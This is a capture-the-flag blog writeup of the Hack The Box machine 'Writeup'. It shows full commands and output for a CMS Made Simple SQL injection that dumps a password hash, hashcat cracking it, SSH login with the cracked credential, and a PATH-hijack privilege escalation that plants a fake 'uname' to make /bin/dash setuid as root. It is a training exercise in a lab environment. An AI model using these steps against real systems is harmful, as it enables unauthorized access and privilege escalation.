Writeup Writeup
07 March 2023 #CTF #HTB #box #easy #linuxEnumeration
This is a writeup for Writeup, how hilarious is that?
$ sudo nmap -sCV -oN enum/initial.nmap 10.10.10.138
[...]
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 7.4p1 Debian 10+deb9u6 (protocol 2.0)
| ssh-hostkey:
| 2048 dd5310700bd0470ae27e4ab6429823c7 (RSA)
| 256 372e1468aeb9c2342b6ed992bcbfbd28 (ECDSA)
|_ 256 93eaa84042c1a83385b35600621ca0ab (ED25519)
80/tcp open http Apache httpd 2.4.25 ((Debian))
| http-robots.txt: 1 disallowed entry
|_/writeup/
|_http-server-header: Apache/2.4.25 (Debian)
|_http-title: Nothing here yet.
| http-methods:
|_ Supported Methods: GET HEAD POST OPTIONS
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
[...]
HTTP
Going to http://10.10.10.138
we get a simple text-only page:
It is talking about some DoS protection which bans IPs that generate to many 40x errors. This probably means we won't be able to run a directory bruteforce without getting banned.
Lucky for us there is a robots.txt
page (as nmap
told us already):
It leaks this /writeup/
directory. Let's visit it:
This looks like a pretty bare bones blog with a few writeups for HTB boxes. There is even one for this very box:
Sadly (or not) it doesn't reveal much.
If we look into the source of the page, we can see it was generated by a CMS called CMS Made Simple:
Foothold
Eventually, after searching for known vulnerabilities, we come across this SQL injection.
This is an unauthenticated exploit so perfect for us. The script will dump usernames, emails, salt and password hashes from the DB. It is using python2 so i had to fix some stuff (removing the pretty printing thingy) but it works just fine:
$ ./sqli.py -u http://10.10.10.138/writeup
[+] Salt for password found: 5a599ef579066807
[+] Username found: jkr
[+] Email found: jkr@writeup.htb
[+] Password found: 62def4866937f08cc13bab43bb14e6f7
This is a time-based SQL injection so it will take some time.
The password hash is 32 characters long so most likely md5. To crack it with hashcat
we need to know if the salt is put before the password or at the end.
Or we can just test the 2 modes (10 and 20) and see which one works:
hashcat -m 20 hash.txt /opt/rockyou.txt
[...]
62def4866937f08cc13bab43bb14e6f7:5a599ef579066807:raykayjay9
[...]
In this case the salt is put after.
Since we have creds, and SSH is open, why not try to login:
$ ssh jkr@10.10.10.138
jkr@10.10.10.138's password:
[...]
jkr@writeup:~$
Nice, we indeed can.
Privesc
Our user is member of a bunch of groups:
jkr@writeup:~$ groups
jkr cdrom floppy audio dip video plugdev staff netdev
While looking for files or directory owned by the 'staff' group we find something pretty interesting:
jkr@writeup:~$ find / -group staff -ls 2> /dev/null
189 4 drwxrwsr-x 2 root staff 4096 Jun 3 2018 /var/local
131442 4 drwxrwsr-x 10 root staff 4096 Apr 19 2019 /usr/local
131445 20 drwx-wsr-x 2 root staff 20480 Apr 19 2019 /usr/local/bin
[...]
We can write to /usr/local/bin
(and /usr/local/sbin
, and all of /usr/local
for that matter).
This is pretty interesting because /usr/local/bin
is present before /usr/bin
and /bin
in the PATH variable of any user:
jkr@writeup:~$ echo $PATH
/usr/local/bin:/usr/bin:/bin:/usr/local/games:/usr/games
That means if root somehow executes a command without an absolute path, we can control what gets executed.
pspy
will be very helpful for us, we'll scp
to the box and run it:
2023/03/07 14:07:01 CMD: UID=0 PID=2186 | /usr/sbin/CRON
2023/03/07 14:07:01 CMD: UID=0 PID=2187 | /usr/sbin/CRON
2023/03/07 14:07:01 CMD: UID=0 PID=2188 | /bin/sh -c /root/bin/cleanup.pl >/dev/null 2>&1
Even after a few minutes, the only thing that runs is this cleanup script, not really useful for us.
If we look at pspy
while logging in with SSH we get what we want:
2023/03/07 14:12:37 CMD: UID=0 PID=2212 | sh -c /usr/bin/env -i PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin run-parts --lsbsysinit /etc/update-motd.d > /run/motd.dynamic.new
2023/03/07 14:12:37 CMD: UID=0 PID=2213 | run-parts --lsbsysinit /etc/update-motd.d
2023/03/07 14:12:37 CMD: UID=0 PID=2214 | uname -rnsom
the run-parts
command is executed (by root) and doesn't have an absolute path, same for the uname
command
We can choose any of those 2 commands, write a script in /usr/local/bin
with the same name, and it will be executed by root when we log in with SSH.
jkr@writeup:~$ echo -e '#!/bin/sh\nchmod u+s /bin/dash'
#!/bin/sh
chmod u+s /bin/dash
jkr@writeup:~$ echo -e '#!/bin/sh\nchmod u+s /bin/dash' > /usr/local/bin/uname
jkr@writeup:~$ chmod +x /usr/local/bin/uname
jkr@writeup:~$ which uname
/usr/local/bin/uname
Here we create a shell script called uname
that will make the /bin/dash
setuid. Of course, we need to make executable.
Now, just log in again with SSH and it should get executed:
$ ssh jkr@10.10.10.138
jkr@10.10.10.138's password:
[...]
jkr@writeup:~$ ls -l /bin/dash
-rwsr-xr-x 1 root root 117208 Jan 24 2017 /bin/dash
jkr@writeup:~$ /bin/dash
# whoami
root
It worked!
Key Takeaways
- member of staff group -> free privesc